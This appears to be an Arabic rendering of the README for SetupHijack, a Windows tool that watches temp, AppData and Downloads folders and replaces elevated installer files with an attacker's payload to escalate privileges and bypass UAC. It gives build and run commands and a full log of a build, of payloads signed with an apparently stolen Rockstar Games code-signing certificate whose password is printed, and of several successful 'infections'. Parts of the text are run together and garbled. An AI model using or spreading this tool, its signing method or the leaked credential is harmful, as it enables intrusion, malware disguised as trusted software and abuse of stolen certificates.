
SetupHijack هي أداة بحث أمني تستغل حالات السباق والتعامل غير الآمن مع الملفات في عمليات تثبيت وتحديث تطبيقات ويندوز.
SetupHijack هي أداة بحث أمني تستغل حالات السباق والتعامل غير الآمن مع الملفات في عمليات التثبيت والتحديث في نظام Windows. تستهدف السيناريوهات التي تُسقط فيها برامج التثبيت أو التحديث ذات الصلاحيات المرتفعة ملفات في %TEMP% أو مواقع أخرى قابلة للكتابة من الجميع، مما يسمح للمهاجم باستبدال هذه الملفات قبل تنفيذها بصلاحيات مرتفعة.
.exe و.msi والملفات الدفعية (مثل sysinfo وnetstat وipconfig).الاستخدام المقصود لهذه الأداة هو التشغيل في الخلفية على حساب مستخدم مخترق يتمتع بصلاحيات، من أجل رفع صلاحيات عملية أخرى عبر اختطاف الملفات التي يُسقطها المثبّت أو المحدّث.
يوضح المخطط أدناه حالات استخدام واقعية لهذا الاستغلال في سيناريوهات متعددة يمكن استخدامها لتجاوز UAC. يُعتبر تجاوز UAC حدًا أمنيًا عند التشغيل في وضع Adminless، وهو "متطلب شائع للمهاجم" لتعطيل الضوابط الأمنية. استغلال عمليات المسؤول المتميز يوفر وصولًا استغلاليًا عامًا للكود الضار للتحميل الجانبي أو تصعيد صلاحيات العمليات. يمكن استخدام هذه الأداة لتحديد تطبيقات إضافية معرضة لنفس أنواع المخاطر، إذ يمكن للمهاجم انتظار تنفيذ هذه العمليات كوسيلة للحصول على صلاحيات مرتفعة دون تعطيل سلوكيات المستخدم.

%TEMP% (والمجلدات الفرعية) باستمرار بحثًا عن ملفات التثبيت الجديدة أو المعدّلة..bak.يستخدم هذا المشروع عملية توقيع كود مخترقة مع SignToolEx.exe and SignToolExHook.dll لتوقيع الحمولات والمثبّتين. استخدام شهادات توقيع كود صالحة وطابع زمني Authenticode سيزيد من معدل نجاحك عند تجاوز فحوصات الثقة الخاصة بالمثبّت ونظام التشغيل.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### تشغيل (خيارات)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp أو -noappdata أو -nodownloads.clean على استعادة النسخ الاحتياطية في جميع المواقع الممكّنة. وتسجّل علامة verbose جميع الإجراءات.shadow.exe أو أدوات مشابهة في خدمات المحطة الطرفية.
%TEMP% ونفّذها بصلاحيات مرتفعة، فسيتم استبدال حمولتك وتشغيلها.فيما يلي مثال حقيقي لبناء وتشغيل SetupHijack، بما في ذلك توقيع الكود ومخرجات الإصابة:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0
C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>SetupHijack.exe
[2025-09-24 15:20:46] [SetupHijack] Using payload: C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 15:20:46] [SetupHijack] If infecting .msi, will use: install.msi
[2025-09-24 15:20:46] [SetupHijack] Polling enabled locations recursively for .exe, .msi, .bat:
[2025-09-24 15:20:46] - C:\Users\FANTAS1\AppData\Local\Temp
[2025-09-24 15:20:46] - C:\Users\Fantastic\AppData\Roaming
[2025-09-24 15:20:46] - C:\Users\Fantastic\Downloads
[2025-09-24 15:20:46] [SetupHijack] Entering infection loop.
[2025-09-24 15:20:59] [SetupHijack] Total infections this session: 0
[2025-09-24 15:21:13] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\installcmd.bat with payload install.bat, backup: C:\Users\FANTAS~1\AppData\Local\Temp\installcmd.bat.bak
[2025-09-24 15:21:13] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:22] [SetupHijack] Replaced C:\Users\Fantastic\Downloads\installcmd.msi with payload install.msi, backup: C:\Users\Fantastic\Downloads\installcmd.msi.bak
[2025-09-24 15:21:26] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:26] [SetupHijack] Total infections this session: 2
[2025-09-24 15:21:41] [SetupHijack] Replaced C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe.bak
[2025-09-24 15:21:41] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:53] [SetupHijack] Total infections this session: 3
## مثال لاستخدام نشر أداة اختراق